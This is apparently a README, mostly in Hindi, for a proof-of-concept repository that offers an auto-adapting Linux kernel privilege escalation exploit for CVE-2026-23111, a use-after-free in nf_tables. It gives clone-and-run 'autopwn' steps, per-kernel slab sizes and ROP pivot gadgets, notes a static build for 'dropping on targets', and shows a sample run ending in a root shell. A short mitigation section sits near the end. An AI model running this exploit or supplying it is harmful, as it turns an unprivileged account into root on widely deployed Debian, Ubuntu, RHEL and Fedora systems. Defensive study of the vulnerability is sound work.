
CVE-2026-23111 nf_tables catchall UAF — Linux 5.10-6.18 के लिए अनप्रिविलेज्ड LPE। स्वतः-अनुकूली एक्सप्लॉइट जिसमें KASLR बाईपास, मनमाना कर्नेल रीड, और ROP चेन शामिल है। Debian, Ubuntu, RHEL, Fedora को सपोर्ट करता है। C/Python/Rust + autopwn।
nf_tables catchall UAF → बिना विशेषाधिकार वाला LPE। अधिकांश 5.10—6.18 linux kernels पर user से root।
लक्षित kernel के लिए स्वतः अनुकूलित होता है — struct offsets डिटेक्ट करता है, symbols resolve करता है, ROP gadgets ढूंढता है, slab cache निर्धारित करता है, अनुकूलित exploit generate करता है, compile और run करता है।
nf_tables catchall UAF → बिना विशेषाधिकार वाला LPE। अधिकांश linux kernels 5.10—6.18 पर सामान्य उपयोगकर्ता root बन जाता है।
लक्षित kernel के लिए स्वतः अनुकूलित होता है — structs के offsets डिटेक्ट करता है, symbols resolve करता है, ROP gadgets ढूंढता है, slab cache निर्धारित करता है, custom exploit generate करता है, compile और run करता है।


EN: nft_map_catchall_activate() (net/netfilter/nf_tables_api.c) में inverted genmask check होता है। transaction abort के दौरान, handler उन inactive catchall elements को skip करता है जिन्हें reactivation की ज़रूरत होती है, और उन active elements को process करता है जिन्हें reactivation की आवश्यकता नहीं होती। इससे chain->use बिना उचित restoration के decrement होता है, जिससे still-referenced chain पर DELCHAIN संभव हो जाता है — UAF पैदा होता है।
PT: nft_map_catchall_activate() (net/netfilter/nf_tables_api.c) में genmask check inverted है। transaction abort के दौरान, handler उन inactive catchall elements को छोड़ देता है जिन्हें reactivation की ज़रूरत होती है, और उन active elements को process करता है जिन्हें reactivation की आवश्यकता नहीं होती। इससे बिना उचित restoration के chain->use decrement होता है, और still-referenced chain पर DELCHAIN की अनुमति मिलती है — UAF बनता है।
बग वाली condition:
// WRONG (actual code) — skips the elements that need reactivation
if (!nft_set_elem_active(ext, genmask))
continue;
// CORRECT (what it should be) — skips elements already active
if (nft_set_elem_active(ext, iter->genmask))
return 0;
seq_operations reclaim से kernel base लीक करेंcommit_creds(init_cred)unshare -rUn (user + network namespace) चाहिएयह bug 6.1.36 (backport) में introduce हुआ था और कई LTS branches में मौजूद है:
यह मूलतः 2023-2026 के बीच जारी हर प्रमुख enterprise linux distro को कवर करता है।
git clone https://github.com/Knz-source/CVE-2026-23111-POC-noddlenpottato
cd CVE-2026-23111-POC-noddlenpottato
python3 autopwn.py
या चरण-दर-चरण / या चरण-दर-चरण:
python3 checker.py --detailed # check if vulnerable / verifica se é vulneravel
python3 scripts/extract_offsets.py # grab kernel offsets / pega offsets do kernel
python3 scripts/find_gadgets.py # find ROP gadgets / encontra gadgets ROP
make # build the exploit / compila o exploit
./exploit # pop root
.
├── autopwn.py full auto — detect, extract, compile, exploit
├── checker.py vulnerability checker (version, modules, userns, BTF)
├── exploit_61.c base exploit (Debian 6.1.172 offsets, template for autopwn)
├── exploit/
│ ├── exploit.c C exploit
│ ├── exploit.py python wrapper with retry logic
│ └── exploit.rs rust port (compiles static with musl)
├── scripts/
│ ├── extract_offsets.py BTF/pahole offset extractor
│ ├── find_gadgets.py ROP gadget finder (objdump/nm)
│ ├── slab_check.sh slab cache analyzer
│ └── install_deps.sh dependency installer
├── img/ diagrams
├── Makefile build targets (C, Rust, deps)
├── EXPLOITATION.md deep dive into the 5-phase exploit chain
├── DEBUGGING.md step by step offset extraction and gadget hunting
└── CONSIDERATIONS.md edge cases, bypasses, pitfalls
sizeof(nft_chain) विभिन्न kernel builds में बदलता है। गलत spray size = चुपचाप विफलता:
debian 6.1.172: 120 bytes → kmalloc-128
ubuntu 6.5.x: 136 bytes → kmalloc-192
ubuntu 6.8.x: 152 bytes → kmalloc-192
debian 5.15.x: 112 bytes → kmalloc-128
userdata spray को exact struct size का ही उपयोग करना चाहिए (slab size का नहीं)। autopwn.py इसे pahole के ज़रिए automatically handle करता है।
eval() call site पर expr pointer रखने वाला register kernel versions के बीच बदलता है:
| kernel | register | आवश्यक gadget |
|---|---|---|
| 6.1.x (debian) | rbp | leave; jmp __x86_return_thunk |
| 6.5+ (ubuntu) | rbx | mov rsp, rbx; ret or push rbx; pop rsp; ret |
गलत gadget = तुरंत kernel panic। हमेशा nft_do_chain को disassemble करके verify करें।
आधुनिक kernels सभी ret को jmp __x86_return_thunk से replace कर देते हैं। gadget search को इसका ध्यान रखना चाहिए — आपको pop rdi; ret नहीं मिलेगा, आपको pop rdi; jmp __x86_return_thunk मिलेगा।
# C (recommended — fastest, proven)
make
# Rust (static binary with musl — good for dropping on targets)
make rust
# install build deps
make deps
$ id
uid=1000(user) gid=1000(user)
$ ./exploit
[*] CVE-2026-23111 nftables UAF -> LPE
[+] chain freed (kmalloc-128) + name freed (kmalloc-32)
[pwn] kbase = 0xffffffff9a400000
[pwn] my_task found at 0xffff8e4a1c084190
[pwn] canary = 0x5c6fa95dca98e100
[pwn] commit_creds(init_cred) -> ROP triggered
[+] root
# id
uid=0(root) gid=0(root) groups=0(root)
| दस्तावेज़ | विवरण / विवरण |
|---|---|
| EXPLOITATION.md | code के साथ संपूर्ण exploit chain walkthrough, EN/PT |
# update kernel to fixed version
apt upgrade linux-image-$(uname -r)
# or disable unprivileged user namespaces
sysctl -w kernel.unprivileged_userns_clone=0
# or blacklist nf_tables
echo 'install nf_tables /bin/true' >> /etc/modprobe.d/blacklist.conf
मूल vulnerability analysis nf_tables advisory से है। पूर्ण LPE chain development, slab analysis, multi-kernel adaptation, pivot gadget research, और autopwn tooling स्वतंत्र रूप से विकसित की गई।
| कर्नेल रेंज | फिक्स संस्करण | प्रभावित डिस्ट्रोस |
|---|
| 6.13 — 6.18.9 | 6.18.10 | fedora 41+, arch (rolling) |
| 6.7 — 6.12.69 | 6.12.70 | ubuntu 24.04/24.10, fedora 39/40 |
| 6.1.36 — 6.1.162 | 6.1.163 | debian 12 (bookworm), RHEL 9 व्युत्पन्न |
| 5.15.121 — 5.15.199 | 5.15.200 | ubuntu 22.04 LTS, debian 11 backports |
| 5.10.188+ | विभिन्न | debian 11 (bullseye), RHEL 8 व्युत्पन्न |
| आपके kernel के लिए हर offset और gadget निकालने का तरीका, EN/PT |
| CONSIDERATIONS.md | edge cases, bypasses, containers, SMEP/SMAP, detection, EN/PT |